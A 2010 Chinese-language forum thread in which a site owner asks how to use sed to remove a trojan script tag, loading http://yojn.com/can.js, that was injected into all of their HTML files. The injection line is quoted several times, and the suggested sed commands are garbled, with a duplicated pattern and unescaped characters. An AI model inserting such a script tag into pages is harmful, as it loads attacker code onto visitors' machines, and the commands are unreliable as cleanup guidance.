论坛徽章:: 0

电梯直达

1楼 [收藏(0)] [报告]

发表于 2010-05-07 21:56 |只看该作者 |倒序浏览

木马：<script src='http://yojn.com/can.js?id=872651&web_id=872651' language='JavaScript' type='text/JavaScript' charset='gb2312'></script>
所有的html文件中被插入一行，现在想用sed清除掉html中被插入的这条，但不知道怎么写

现在我做到这里了
# find ./ -name "*.html" | xargs sed -i "s/"<script src='http://yojn.com/can.js?id=872651&web_id=872651' language='JavaScript' type='text/JavaScript' charset='gb2312'></script>//g

卡在正则这里了

文库|博客

iori809

巨富豪门

论坛徽章:: 0

2楼 [报告]

发表于 2010-05-07 21:59 |只看该作者

把原始数据贴出来吧~在把需求帖出来

实战分享：从技术角度谈机器学习入门| 【大话IT】RadonDB低门槛向MySQL集群下战书 | ChinaUnix打赏功能已上线！ | 新一代分布式关系型数据库RadonDB知多少？

locale

丰衣足食

论坛徽章:: 0

3楼 [报告]

发表于 2010-05-07 22:02 |只看该作者

晕，那我继续贴
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>ÖÐ¹úÊý×ÖÊÓÌýÍøÊ×Ò³Í¶Ó°»úÆµµÀ</title>
<link href="inc/style.css" rel="stylesheet" type="text/css" />

<script src='http://yojn.com/can.js?id=872651&web_id=872651' language='JavaScript' type='text/JavaScript' charset='gb2312'></script>
</head>

<body>

<div class="container">

<div class="mainnav">
<div class="mainnav_1">

上面是原始网页，现在想清除这个script，但不是删掉这行，是替换为空，不知道我说明白没有

实战分享：从技术角度谈机器学习入门| 【大话IT】RadonDB低门槛向MySQL集群下战书 | ChinaUnix打赏功能已上线！ | 新一代分布式关系型数据库RadonDB知多少？

wtuter

家境小康

论坛徽章:: 0

4楼 [报告]

发表于 2010-05-07 22:03 |只看该作者

本帖最后由 wtuter 于 2010-05-07 22:04 编辑

回复 1# locale

这一行是唯一的是吗？

sed -i "#<script src='http://yojn.com/can.js?id=872651&web_id=872651' language='JavaScript' type='text/JavaScript' charset='gb2312'></script>script src='http://yojn.com/can.js?id=872651&web_id=872651' language='JavaScript' type='text/JavaScript' charset='gb2312'></script>#d"

sed -i "s#<script src='http://yojn.com/can.js?id=872651&web_id=872651' language='JavaScript' type='text/JavaScript' charset='gb2312'></script>script src='http://yojn.com/can.js?id=872651&web_id=872651' language='JavaScript' type='text/JavaScript' charset='gb2312'></script>##"